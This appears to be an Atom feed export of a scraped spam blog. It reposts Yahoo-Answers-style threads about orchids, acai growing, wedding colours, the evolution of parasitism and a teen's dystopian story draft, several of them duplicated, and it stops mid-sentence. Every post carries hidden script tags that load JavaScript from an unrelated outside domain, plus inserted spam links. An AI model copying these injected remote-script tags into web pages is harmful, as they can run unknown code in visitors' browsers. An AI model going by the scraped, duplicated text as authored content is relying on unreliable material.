tag:blogger.com,1999:blog-85541426710694065802024-02-20T04:30:29.056-08:00orchid treeMATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.comBlogger178125tag:blogger.com,1999:blog-8554142671069406580.post-42876895963878591072011-11-18T00:46:00.003-08:002011-11-18T00:46:56.571-08:00How our earth can be made neat, clean & beautiful. How we can join hands in this regards?.?I invite the people throughout the world to make themselves more cooperative and helpful in making there environment neat %26amp; clean by doing more focus on solid waste management, waste recycling plant cnstruction, plantation of trees on large scale on emergency basis, building a habit of cultivation of flowers, vegetables and orchids in each %26amp; every house. involve our kids to help us too.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>How our earth can be made neat, clean %26amp; beautiful. How we can join hands in this regards?.?<br>your so right ithik that the only way to truly make it posible to stay here on earth for ever i mean humeans is to keep helping the plaet as we help our selves not by tearing down a tree just to plant a new one that still means hundreds of years to re make thazt on tree you destroyed and did you kow they make paper out of elephant dung not as dirty as what your thinking its all plants and such they no eat meat so all organic<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-51695868821766717632011-11-18T00:46:00.002-08:002011-11-18T00:46:39.932-08:00How our earth can be made neat, clean & beautiful. How we can join hands in this regards?.?I invite the people throughout the world to make themselves more cooperative and helpful in making there environment neat %26amp; clean by doing more focus on solid waste management, waste recycling plant cnstruction, plantation of trees on large scale on emergency basis, building a habit of cultivation of flowers, vegetables and orchids in each %26amp; every house. involve our kids to help us too.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>How our earth can be made neat, clean %26amp; beautiful. How we can join hands in this regards?.?<br>I have also enjoyed the benefits of freecycle! I do what I can to recycle and reuse many products. I have a garden in my backyard and I use seeds that I have saved from previous years, I also roll up my newspapers to use as logs in my fireplace in the winter months. My outdoor water is considered irrigation water, not fit to drink but without all the chemicals used for potable water. I learned all of this from my parents who grew up in a time where nothing was wasted! My now grown up son is asking me for advice on gardening and planting! He is also very earth friendly! <br><br /><br /><br><br /><br />I will be glad to join hands with you to save our mother!<br>Reply:I am in uk and found a site that helps prevent landfill, it is called freecycle, the idea is, if you have stuff you no longer need, offer it on freecycle, if there is stuff you want ask for it in the wanted section, helps people out and helps save our planet! The main rules are be friendly and courteous when posting.<br>Reply:I try to but not sure what else I can do. any suggestions will help.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://www.imwebhost.com/domain-name-registration/>domain name registration</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-51320347416149904892011-11-18T00:46:00.001-08:002011-11-18T00:46:24.310-08:00Home grown Acai. Does anyone have experience growing Acai at home?I got three Acai trees from http://www.acaifarms.com <br><br /><br />They are 3%26#039; tall and really healthy. I built a greenhouse that I grow orchids in and put the acai plants in there. I water them every other day.<br><br /><br /><br><br /><br />Does anyone have any experience growing Acai Plants?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-14344256755534646932011-11-18T00:46:00.000-08:002011-11-18T00:46:09.693-08:00How do you grow Acai at home.?I got some Acai trees from http://www.acaifarms.com <br><br /><br />They are 3%26#039; tall and really healthy. I built a greenhouse that I grow orchids in and put the acai plants in there. <br><br /><br /><br><br /><br />Does anyone have any experience growing Acai Plants?<br><br /><br /><br><br /><br />I can%26#039;t wait to get some fresh berries and make my own Acai Juice.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-83375227503738459322011-11-18T00:45:00.003-08:002011-11-18T00:45:54.132-08:00How our earth can be made neat, clean & beautiful. How we can join hands in this regards?.?I invite the people throughout the world to make themselves more cooperative and helpful in making there environment neat %26amp; clean by doing more focus on solid waste management, waste recycling plant cnstruction, plantation of trees on large scale on emergency basis, building a habit of cultivation of flowers, vegetables and orchids in each %26amp; every house. involve our kids to help us too.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>How our earth can be made neat, clean %26amp; beautiful. How we can join hands in this regards?.?<br>We cannot get along with each other, and have hardly been able to in the past over anything else. I%26#039;ll give you the fact that this is the only earth we have to call home, and if it%26#039;s gone-we go too. However, there are those on the earth that will not, for any reason, join hands to help. They want to sit back and watch you go, so they can take over.<br><br /><br />Oh yeah, and planting trees sounds like a great idea, however, there are more trees (at least in the US) now, than 100 years ago.<br>Reply:I absolutely agree!<br><br /><br /><br><br /><br />Let%26#039;s quit wasting efforts on this imaginary global warming and do something to actually benefit the environment!<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-87744824408563243182011-11-18T00:45:00.002-08:002011-11-18T00:45:36.378-08:00Should I have fall colors for my sept. wedding? Will other colors clash? Please help!?We are getting married Sept. 27 of this year, and I am having trouble picking colors. We had decided on a fall theme just because of the time of the year and it would be easy to decorate for, but as I am looking for wedding ideas, I am finding I like other colors a lot more. Also, my MOH is getting married 2 weeks after me, and is having fall colors too. Because our date is so border line, (the first day of fall is sept 22) I%26#039;m wondering if it would be ok to stray from fall colors and put more vibrant colors in. But I am also wondering if people will think its strange to have say, blue orchids in my bouquet at this time of year. The trees will have just begun to turn at this point and will not have fully turned till a few weeks later. What do you guys think?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Should I have fall colors for my sept. wedding? Will other colors clash? Please help!?<br>You can have whatever you want. Pick what you like. It%26#039;s your wedding after all. Who cares what anyone else thinks? Do what makes you happy. It%26#039;s ok. I give you permission.<br><br /><br /><br><br /><br />Blue orchids would be fine if they please you. My personal opinion...check out peonies. I LOVE those for weddings. They are a bit out the ordinary from the usual roses...have great color and smell incredible. Come to think of it, they might look lovely with blue orchids -- colorwise.<br>Reply:Hi, I am a wedding planner and this is what I would suggest. Start looking in fall wedding magazines to get an idea of the most popular colors for that season. You can get those free at some wedding gown and banquet hall venues, or buy them at your local newstand or Walgreens. And, if that doesn%26#039;t help, use your favorite colors,as long as those do not clash. Choose you and your husband to be favorite colors that look great together. Pinks and silvers, chocolate and cream, sage and chocolate, silver and white, taupe and cream, blue and ivory, blue and silver. It can be whatever inspires you, and if you want to have more of summer like colors have a theme reception. A carribean theme, Luau theme, etc... I hope these ideas help. I%26#039;m trying to figure something great for my 10 yr vow renewal that%26#039;s not so traditional. Now, I feel it%26#039;s gonna be whatever our hearts desire. At the end, it%26#039;s all about you and your husband to be.<br>Reply:I don%26#039;t think you should be the least bit concerned about the time of year when choosing your wedding colors. No one will think twice if you don%26#039;t have oranges, reds, etc. Each wedding is unique and most guests don%26#039;t expect to see one thing or another when joining you to celebrate the start of your marriage. In fact, all they are focusing on is how happy and in love you both look. Choose the colors that feel right for you--it will make it feel more like %26quot;your%26quot; day and when you look back at wedding pictures for years to come, the season will likely be the last thing you remember anyway. <br><br /><br /><br><br /><br />I just got married in mid January and because it was a winter wedding everyone kept suggesting reds and greens--Christmasy colors basically. I chose white and gold with touches of black (my dress had a black sash and I wore black opera gloves) and lots of greenery with twinkle lights. It felt just perfect for what we wanted.<br><br /><br /><br><br /><br />Have fun getting creative with your wedding plans. Go with your own vision and try not to get too stressed!<br>Reply:I have a MILLION ideas. I am having a fall wedding on September 13th. But i dont think that you need to have a fall wedding just because its in the fall, you can do anything you want to!! <br><br /><br /><br><br /><br />i dont think you can do pastels but you can do like a black and white theme, or a red and white theme. Greens!<br><br /><br /><br><br /><br />Or i saw a wedding that was a tan and light blue color, or dark brown and light blue and its was soo pretty!!<br><br /><br /><br><br /><br />you can do anything! (let me know if i can help, ill e-mail you some of my stuff if you want to stick wit the fall theme)<br>Reply:I think it%26#039;s your wedding, and you can use any colors that please you. Since your maid of honor is using the fall theme, it seems natural for you to go with something else. Please yourself and your groom.<br>Reply:Honestly, people are either going to notice or they aren%26#039;t...and if they do, who cares what they say?! If they don%26#039;t notice, than great! As for colors, there are so many that you could look at for a Fall wedding that are vibrant but not just fall. This first link is for a color called persimmon (the orange color). I work at Davids Bridal and this color is VERY pretty and vibrant<br><br /><br /><br><br /><br />http://www.davidsbridal.com/bridesmaids_...<br><br /><br /><br><br /><br />This color is oasis...yes, it is vibrant, but it is VERY pretty<br><br /><br /><br><br /><br />http://www.davidsbridal.com/bridesmaids_...<br><br /><br /><br><br /><br />This one is called wine. This is a nice shade..it will got with a lot of brighter flowers for the fall...<br><br /><br /><br><br /><br />http://www.davidsbridal.com/bridesmaids_...<br><br /><br /><br><br /><br />This one is Apple...again, this is a nice shade that you could mix with a fall boquet.<br><br /><br /><br><br /><br />Hope all this helps!<br>Reply:Are blue orchids available? If your heart is set on them, make your color around that palette. <br><br /><br /><br><br /><br />Don%26#039;t worry about your friend. Just choose the colors you want, although pass up the pastels. Keep looking around and find the color(s) that suit you.<br><br /><br /><br><br /><br />Have a happy marriage!<br>Reply:You can pick whatever colors you want. There really is no set color scheme you should use. Ive heard of someone having a christmas themed wedding in the Summer.<br><br /><br /><br><br /><br />Good luck with whatever you choose!<br>Reply:I think that September is a month in which you can make your own, it still feels like Summer most days. My wedding is September 20th and I chose Oranges, purples, and reds for mine, which are technically Fall colors. You really can pick almost any color you want though. You dont have to be tied down to anything. It is your wedding, if you want blue, then have blue. The only reason I picked those colors is cause I like them, not because of the time of season. You will be happier if you do what you want.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://ford-flowers-anniversary.blogspot.com/>flowers anniversary</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-27221542868464352562011-11-18T00:45:00.001-08:002011-11-18T00:45:22.308-08:00How did parasitism "evovle"?take for example, orchids. how could they evolve to depend completely on trees?<br><br /><br /><br><br /><br />what about some species of round worms? they must go through up to 5 different host species through their life time to reproduce. how could it be possible that it evovlved that way?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>How did parasitism %26quot;evovle%26quot;?<br>%26quot;EVOVLE%26quot;?<br><br /><br /><br><br /><br /><br><br /><br />*snicker*<br><br /><br /><br><br /><br />Oh, you are just priceless, Peanut!<br>Reply:Begs the question what sort of God has that much time on has hands...... and why ?? More likely a random set of weird stuff end result = orchid.<br>Reply:how come you%26#039;re not asking this quesiton in biology section?<br><br /><br /><br><br /><br /><br><br /><br />you are not asking about religion, dear, parasitism, orchids, worms - they are all about biology and if you really want an answer you should be asking this question in the biology section<br>Reply:there are a number of orchid species that do not completely depend on trees... with time some of them found it was a successful way to go and they proliferated in this fashion.<br><br /><br />as to the round worm issue you should consider organisms such as the tape worm Bothriocephalus that require but one host. With time (and of course 5,000 years is not a limit for evolution) one could easily see a gradual integration of many species into its life cycle. Leading to more complex tapeworm life cycles such as Diphyllobothrium.<br>Reply:Read any decent book on evolutionary biology, why ask in the R%26amp;S section?<br>Reply:If I had known you as a young person in school , you would now know the answer to such basic simple biology. If you have missed out on this vital education, it is still possible to learn , as the vast majority already have.<br>Reply:A better question would be %26quot;How could parasitism not evolve?%26quot;<br><br /><br /><br><br /><br />That%26#039;s one for which there is no answer.<br><br /><br /><br><br /><br />Life will always evolve to take advantage of food that is easily obtained.<br>Reply:Slowly. The bottom line is that practically any viable ecological niche will eventually be tried out.<br><br /><br /><br><br /><br />Consider flowers and bees (symbiosis is much nicer than parasitism). Neither came first, of course. If insects began landing on air-pollinated plants, and carried the pollen to other plants of that species, any plant that produced, say, a spot of moisture for the insects to drink would rapidly clean up in the reproduction war.<br><br /><br /><br><br /><br />In fact *anything* that attracted insects by any mechanism would get this benefit. Some orchids look like female wasps, which makes male wasps try to hump them - picking up pollen in the process.<br><br /><br /><br><br /><br />Isn%26#039;t it easy to see how the tiniest mutation by a plant, if it increased even minutely the chance of an insect landing on it and picking up pollen, would spread like crazy?<br><br /><br /><br><br /><br />Parasites, including microorganisms, start by eating another creature%26#039;s meat. Their supercomplex reproductive cycles come later, developing on previous working systems. Always remember the huge gulfs of time involved in each step. And the fact that evolution makes no sudden jumps: it%26#039;s always a slow accumulation of tiny beneficial changes.<br><br /><br /><br><br /><br />CD<br>Reply:Stop trying,<br>Reply:Oh ****...<br><br /><br /><br><br /><br />Orchids didn%26#039;t always depend on trees. However as trees were the easiest source of life for them, their abilities to depend upon other life forms or get by alone atrophied.<br><br /><br /><br><br /><br />Same with round worms.<br><br /><br /><br><br /><br />If you want to know how evolution happened, honey, read a textbook... you%26#039;ll convert no-one here...<br>Reply:as all other organisms, very very slowly over a long period of time. <br><br /><br /><br><br /><br />i have another interesting question for you. Where did the plants that souly depend on trainsrushing by as a means of dispersing their seeds? trains have only been around for 200ish years?<br><br /><br /><br><br /><br />i suppose if you realy want an answer of anyone who has any idea, you might want to ask this question again, in science %26amp; mathematics %26gt; biology<br>Reply:If you were genuinely interested in finding out, you could.<br><br /><br /><br><br /><br />You could do some Internet searches, or browse in some quality bookstores in books about evolution until you found one that was accessible to you and addressed this question (as well as others).<br><br /><br /><br><br /><br />This isn%26#039;t something I%26#039;m clear enough on to explain, and, frankly, I%26#039;ve wasted a LOT of my time answering these sorts of questions, just to find out the person DIDN%26#039;T want to understand anything; they were just Finishing Off the Atheists Once and For All -- which you%26#039;ll never do if you aren%26#039;t willing to understand it first.<br><br /><br /><br><br /><br />If you don%26#039;t really want to understand, why should I waste my time trying to explain?<br><br /><br /><br><br /><br />It%26#039;s hard to appreciate the amounts of time involved, and how all of this works -- a tiny change in genes can often have a big-looking effect in the organism, for instance.<br><br /><br /><br><br /><br />Anyway, find some real sources; if you then need help understanding we might be able to help you.<br><br /><br /><br><br /><br />If you were willing to understand, we%26#039;d be HAPPY to help you.<br>Reply:Go back to school and learn to spell. Thats the first step.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-47537496350075823262011-11-18T00:45:00.000-08:002011-11-18T00:45:06.362-08:00What do you think of the excerpt of my story?Hello. My name is Victoria Vanderblit, one of the defective girls of a town called Applegale. Now, if you took a look at me right as I%26#039;m writing this, you would probably think I%26#039;m a average looking girl, with a curvy body, curly brown hair and almond shaped brown eyes like my beautiful mother, only my mother is thin and her hair is pin straight. However, in the town that I used to live in, Below average is taboo. Average isn%26#039;t good enough. In order to survive in this demented town, you had to be perfect. It was the way of life. <br><br /><br /><br><br /><br />Now, to others, Applegale might appear to be a beautiful and wealthty suburban town. The streets are lined with lush emerald trees, the air is filled with the perfume of apple blossoms, and the houses are exquistively crafted victorian mansions, surrounded with professionally landscaped lawns. Also, the people are so perfect and pristine as well, from their attitudes to their apperances. A smile is always planted on their beautiful faces, no matter how they feel inside. You%26#039;ll never see a down face in Applegale; you will only see happy and blissful faces strutting around the neighborhood with their flawlessly sculpted bodies. <br><br /><br /><br><br /><br />But don%26#039;t let the outside appearance of Applegate fool you. Eventhough they appear perfect, they are poisoned and brainwashed in the inside. They will do everything to appear perfect to the society, to keep up their appearances and to have everyone and even the surroundings to look as perfect as possible- no matter what. They continue to be as wealthty as possible, to continue to have everything their heart desires. Also, they strive to be beautiful , to spend 3 hours everysingle day working out in the gym, and to correct any grosteque flaws by making a visit to their beloved plastic surgeon. And most of all, each family in Applegale mold themselves and give up their individuality in order to mold themselves. The men are the ones who earn the riches, while they run their household in their god like stature. The housewifes only have to be as beautiful, frail, and pristine as possible and help raise the children to conform into the society-if they have any. And the children supposed to be perfect, well mannered and must obtain book intelligence, who must conform into the Applegale%26#039;s ways. <br><br /><br /><br><br /><br />And for anyone who doesn%26#039;t meet the requirements of perfection in Applegale, they are either alienated, secretly ridiculed, or made perfect by countless bottles of cosmetics and/or plastic surgery. Some, however, were even killed in result of being defective, from being drowned in Orchid lake, to complications in result of being under the knife of the process of being the prototypes of perfection. Some even commited sudicide, because they couldn%26#039;t take the society of Applegale so much longer. But people from the outside world never knew about any of the towns inperfections, due to bribery. Most citizens in Applegale were multi millionares, so they gave a large fourtune to keep the grieving family and the police force quiet. Most of the time, they gave in to the large pile of money and never spoke another word about it. Applegale was a unofficial dictatorship, with most of the citizens being the dictator to theirselves. <br><br /><br /><br><br /><br />But, I was lucky for only being alienated, instead of killed from my fellow neighbors. When I was born, I was a very beautiful baby, always adored by others. But as I got older, my deformity began to settle into my skin. I was cursed by discoloration as a large spot stood out in on the side of my face. My parents, ashamed and embarrassed by having to deal with a deformed child, immediately took me to get it fixed. But after the plastic surgeon practically laughed in my parent%26#039;s face and told me that a 7 year old was way too young to go under the knife, they gave up their plans to cancel out my flaws.Well almost, at least.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>What do you think of the excerpt of my story?<br>The concept of Applegate, a city with beatiful, perfect people, is pretty cliche, as well as the girl who doesn%26#039;t fit in. I have to say I don%26#039;t like the character Victoria Vanderblit much-she seems too whiny. And if a reader doesn%26#039;t like your protagonist when the book is in first person, it%26#039;s over. But this is only the beginning, most beginnings are cliche, and I would keep reading. You really express the characters feelings well, along with the settings and problems, but if you use that great expression too much it does get to seem like the main character is complaining.<br>Reply:it was hard for me to continue reading, it was all just description, description, description. i was thinking at first that it was like a journal entry, but with journal entries there are accounts of specific things that happen. i.e. %26quot; take suzan for example, from birth everyone said she was a golden child, a knock-out in the making, that is untill she hit puberty. by age 15 she had been under the knife a grand total of seventeen time, but unfortunatly that wasn%26#039;t enough to save her from the %26quot;Accident%26quot; at Orchid Lake%26quot;<br><br /><br /><br><br /><br />there could also be conversations she either had or overheard. I%26#039;m assuming that the intro is the only thing written in that format and that the rest of the story is in regular story form?<br>Reply:Hmmmm... nice, compelling. Try not to overuse adjectives though. What I mean is, we learn so much more from a character or place by how they respond to an event. Remember, actions speak MUCH louder than words. Don%26#039;t forget to avoid clumsy introduction words either. A misplaced %26quot;also%26quot; can detract from a story more than you think. Take the gap their and fill it with a scene change that could give the reader more insight.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-67597604197585421192011-11-18T00:44:00.003-08:002011-11-18T00:44:48.019-08:00Need to know how to care for a South American plant?I was given a South American plant with little orchid like flowers on it and was told it was an Ocemium. I do not know the correct spelling so I can not find any info on its care. It is a parasitic plant that grows on trees and is not to be planted in soil. Does any one recognize my description and know the proper name and how to care for it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Need to know how to care for a South American plant?<br>Check with your local Botanic Garden or Master Gardener program. If you can%26#039;t take the plant in, take a couple of very good pics in, and they%26#039;ll be able to help ID the plant and give you care instructions.<br>Reply:This sounds like it is an air plant. If so, you can put it into any container or attach it to something with floral wire. Mist it with water everyday and twice a week soak the roots for a minute or two. Very easy plant to take care of. P.S. They come in many different sizes and many different types. Good Luck Check google images and see if any come close to what this plant looks like.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-87397401234233573772011-11-18T00:44:00.002-08:002011-11-18T00:44:34.455-08:00What do you think of my story, "The Prototype of Applegale"?Hello. My name is Victoria Vanderblit, one of the defective girls of a town called Applegale. Now, if you took a look at me right as I%26#039;m writing this, you would probably think I%26#039;m a average looking girl, with a curvy body, curly brown hair and almond shaped brown eyes like my beautiful mother, only my mother is thin and her hair is pin straight. However, in the town that I used to live in, Below average is taboo. Average isn%26#039;t good enough. In order to survive in this demented town, you had to be perfect. It was the way of life. <br><br /><br /><br><br /><br />Now, to others, Applegale might appear to be a beautiful and wealthty suburban town. The streets are lined with lush emerald trees, the air is filled with the perfume of apple blossoms, and the houses are exquistively crafted victorian mansions, surrounded with professionally landscaped lawns. Also, the people are so perfect and pristine as well, from their attitudes to their apperances. A smile is always planted on their beautiful faces, no matter how they feel inside. You%26#039;ll never see a down face in Applegale; you will only see happy and blissful faces strutting around the neighborhood with their flawlessly sculpted bodies. <br><br /><br /><br><br /><br />But don%26#039;t let the outside appearance of Applegate fool you. Eventhough they appear perfect, they are poisoned and brainwashed in the inside. They will do everything to appear perfect to the society, to keep up their appearances and to have everyone and even the surroundings to look as perfect as possible- no matter what. They continue to be as wealthty as possible, to continue to have everything their heart desires. Also, they strive to be beautiful , to spend 3 hours everysingle day working out in the gym, and to correct any grosteque flaws by making a visit to their beloved plastic surgeon. And most of all, each family in Applegale mold themselves and give up their individuality in order to mold themselves. The men are the ones who earn the riches, while they run their household in their god like stature. The housewifes only have to be as beautiful, frail, and pristine as possible and help raise the children to conform into the society-if they have any. And the children supposed to be perfect, well mannered and must obtain book intelligence, who must conform into the Applegale%26#039;s ways. <br><br /><br /><br><br /><br />And for anyone who doesn%26#039;t meet the requirements of perfection in Applegale, they are either alienated, secretly ridiculed, or made perfect by countless bottles of cosmetics and/or plastic surgery. Some, however, were even killed in result of being defective, from being drowned in Orchid lake, to complications in result of being under the knife of the process of being the prototypes of perfection. Some even commited sudicide, because they couldn%26#039;t take the society of Applegale so much longer. But people from the outside world never knew about any of the towns inperfections, due to bribery. Most citizens in Applegale were multi millionares, so they gave a large fourtune to keep the grieving family and the police force quiet. Most of the time, they gave in to the large pile of money and never spoke another word about it. Applegale was a unofficial dictatorship, with most of the citizens being the dictator to theirselves. <br><br /><br /><br><br /><br />But, I was lucky for only being alienated, instead of killed from my fellow neighbors. When I was born, I was a very beautiful baby, always adored by others. But as I got older, my deformity began to settle into my skin. I was cursed by discoloration as a large spot stood out in on the side of my face. My parents, ashamed and embarrassed by having to deal with a deformed child, immediately took me to get it fixed. But after the plastic surgeon practically laughed in my parent%26#039;s face and told me that a 7 year old was way too young to go under the knife, they gave up their plans to cancel out my flaws.Well almost, at least. <br><br /><br /><br><br /><br />Right after we came from the plastic surgeon%26#039;s office, I can remember that whole scene while I was in the car with my parents. I can remember the atmosphere. It was so thick with tension, that I could barely breathe. Then, I can vividly remember my mother ask my father, <br><br /><br /><br><br /><br />%26quot;James. Can we please go to the mall right now? It%26#039;s important.%26quot; <br><br /><br /><br><br /><br />He replied, %26quot;Alice, I don%26#039;t see why not. But don%26#039;t take long. I have a meeting at 4.%26quot; <br><br /><br /><br><br /><br />So we pulled up to the mall%26#039;s parking lot. Personally, I never was so fond of going to the mall, so normally, I always stayed in the car with my dad. <br><br /><br /><br><br /><br />But then, my mother demanded, %26quot;Victoria. Please get out out of the car. You%26#039;re going with me today.%26quot; <br><br /><br /><br><br /><br />%26quot;But I don%26#039;t want to go mom!%26quot;, I replied, as tears started to caress my eyes. <br><br /><br /><br><br /><br />%26quot;Now!%26quot; She ordered. <br><br /><br /><br><br /><br />So Then I climbed out of the car with my mother, as she grabbed my hand. At first, I was very oblivious of the reason why she was taking me to the mall with her when she already knew that I hated it. Then suddenly, the reason washed over me and consumed me like a giant wave. <br><br /><br /><br><br /><br />We walked all through the mall, through perfect familes with their children who stared at the side of my face, groups of teenagers whispered and giggled to each other and result of seeing me, and even solitary people looked up. I just wanted to disappear. I wanted to melt and saturate into the floor so escape that horrible feeling of being the freak. <br><br /><br /><br><br /><br />Then, finally, we stopped at a cosmetic boutique. We entered the store, and I was awashed by expensive smells of perfume and body cream. Not suprisingly, the store was only occupied by only a few customers, excluding the saleswoman, who was walking towards our direction. <br><br /><br /><br><br /><br />When she was only a couple feet away from my mom and I she glanced at my mother, and then at me, Her eyes immediately flinched at my sight and then it immediately went back to my mother. Then she asked, %26quot;Hello. How may I help you?%26quot; <br><br /><br /><br><br /><br />My mom smiled with her pearly white smile and then replied, %26quot;Yes. Where can I find the foundation?%26quot; <br><br /><br /><br><br /><br />The saleswoman pointed over to the left of the small boutique as she said, %26quot; It%26#039;s right over there, Here, let me show you.%26quot; <br><br /><br /><br><br /><br />We followed her as she guided us, and I couldn%26#039;t help but to look at her. She was the typical resident of Applegale, with a heartshaped face ,occupied with prominent blue eyes and full, cherry lacqured lips, with silky, chestnut colored locks cascading down her back. Her body was also very thin and long, clad in a clean and crisp ralph lauren polo, khaki bermunda shorts, and her feet fitted perfectly in her wedges. I wouldn%26#039;t be suprised if she used to be a supermodel. <br><br /><br /><br><br /><br />Then we arrived there, to the shelf of countless foundation bottles, concealer, and face powder. <br><br /><br /><br><br /><br />%26quot;Thank you so much for helping us.%26quot;, My mother said <br><br /><br /><br><br /><br />%26quot; No problem miss.%26quot;, the saleswoman replied. <br><br /><br /><br><br /><br />After a long period of time, my mother finally chose one bottle of foundation, that was my exact skin color, and a tube of concealer. Then we walked up to the counter as she paid for the items with the credit card. Then, we finally left. <br><br /><br /><br><br /><br />An hour after I got home, I was sitting in my room, playing with dolls, deep in my imagination based world. Then, a knock, followed by a voice brought me back into reality. <br><br /><br />%26quot;Victoria? Are you in there? %26quot;, my mother asked.<br><br /><br />%26quot;Yes mother.%26quot;<br><br /><br />%26quot;Well I need to speak to you.%26quot;, she demanded.<br><br /><br /> My bedroom door then opened. <br><br /><br />After my mother walked in with her tote and settled in a overstuffed chair, she said, %26quot; Come over here, would you?%26quot;<br><br /><br />I grabbed a pillow, and then sat on the floor across from her.<br><br /><br />Then she asked, %26quot; Do you want to know why I took you with me to the cosmetic boutique?%26quot;<br><br /><br />%26quot;No,%26quot; I lied, still in denial about the whole situation.<br><br /><br />%26quot; Well Victoria, I don%26#039;t want you to be the freak of this neighborhood with that scar. I can%26#039;t take you to the plasic surgeon, so here is the product that will make you normal.%26quot;<br><br /><br />%26quot;But Mom,%26quot; I asked, %26quot;what does it matter whether I%26#039;m normal or not? Why can%26#039;t I be a regular kid?%26quot;<br><br /><br />%26quot;Vicky, let me give you a bit of wisdom here. People in this town do not care about the inner contents of you, they only care about your appearances. They will judge you by that scar and only by it; and they wouldn%26#039;t care how you%26#039;re really like inside if you%26#039;re flawed. So please follow my advice, or your life in this town will be a terrible place for you for many years to come. %26quot;<br><br /><br />Then, my mother bended down and reached into her tote, grabbing the foundation and face powder.<br><br /><br /> She continued,%26quot; So here is the product that will make you normal. Please wear it or your not going to fit in this society. As a matter of fact, I%26#039;m going to show you how to put it on right now.%26quot; <br><br /><br /><br><br /><br />So, without hesitation, I let her apply the foundation, eventhough in the inside, I was screaming, begging her to stop. I didn%26#039;t want this oily stuff on my skin like a adult, I wanted to be a kid. However, on that day, I wasn%26#039;t a kid anymore. That was the first day of trying to be the prototype of Applegale.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>What do you think of my story, %26quot;The Prototype of Applegale%26quot;?<br>Quite good. Is it a dystopic future? On the backburner I have a more sinister beauty perfection story where the inhabitants live in a town called stretchville and they are all very thin and very tall and susceptible to illnesses very easily.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://www.ni0506.cn/>art</a>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0tag:blogger.com,1999:blog-8554142671069406580.post-70684170209760135352011-11-18T00:44:00.001-08:002011-11-18T00:44:16.317-08:00Can someone please critique my story?????The prototype of applegale-part one <br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />Hello. My name is Victoria Vanderblit, one of the defective girls of a town called Applegale. Now, if you took a look at me right as I%26#039;m writing this, you would probably think I%26#039;m a average looking girl, with a curvy body, curly brown hair and almond shaped brown eyes like my beautiful mother, only my mother is thin and her hair is pin straight. However, in the town that I used to live in, Below average is taboo. Average isn%26#039;t good enough. In order to survive in this demented town, you had to be perfect. It was the way of life. <br><br /><br /><br><br /><br />Now, to others, Applegale might appear to be a beautiful and wealthty suburban town. The streets are lined with lush emerald trees, the air is filled with the perfume of apple blossoms, and the houses are exquistively crafted victorian mansions, surrounded with professionally landscaped lawns. Also, the people are so perfect and pristine as well, from their attitudes to their apperances. A smile is always planted on their beautiful faces, no matter how they feel inside. You%26#039;ll never see a down face in Applegale; you will only see happy and blissful faces strutting around the neighborhood with their flawlessly sculpted bodies. <br><br /><br /><br><br /><br />But don%26#039;t let the outside appearance of Applegate fool you. Eventhough they appear perfect, they are poisoned and brainwashed in the inside. They will do everything to appear perfect to the society, to keep up their appearances and to have everyone and even the surroundings to look as perfect as possible- no matter what. They continue to be as wealthty as possible, to continue to have everything their heart desires. Also, they strive to be beautiful , to spend 3 hours everysingle day working out in the gym, and to correct any grosteque flaws by making a visit to their beloved plastic surgeon. And most of all, each family in Applegale mold themselves and give up their individuality in order to mold themselves. The men are the ones who earn the riches, while they run their household in their god like stature. The housewifes only have to be as beautiful, frail, and pristine as possible and help raise the children to conform into the society-if they have any. And the children supposed to be perfect, well mannered and must obtain book intelligence, who must conform into the Applegale%26#039;s ways. <br><br /><br /><br><br /><br />And for anyone who doesn%26#039;t meet the requirements of perfection in Applegale, they are either alienated, secretly ridiculed, or made perfect by countless bottles of cosmetics and/or plastic surgery. Some, however, were even killed in result of being defective, from being drowned in Orchid lake, to complications in result of being under the knife of the process of being the prototypes of perfection. Some even commited sudicide, because they couldn%26#039;t take the society of Applegale so much longer. But people from the outside world never knew about any of the towns inperfections, due to bribery. Most citizens in Applegale were multi millionares, so they gave 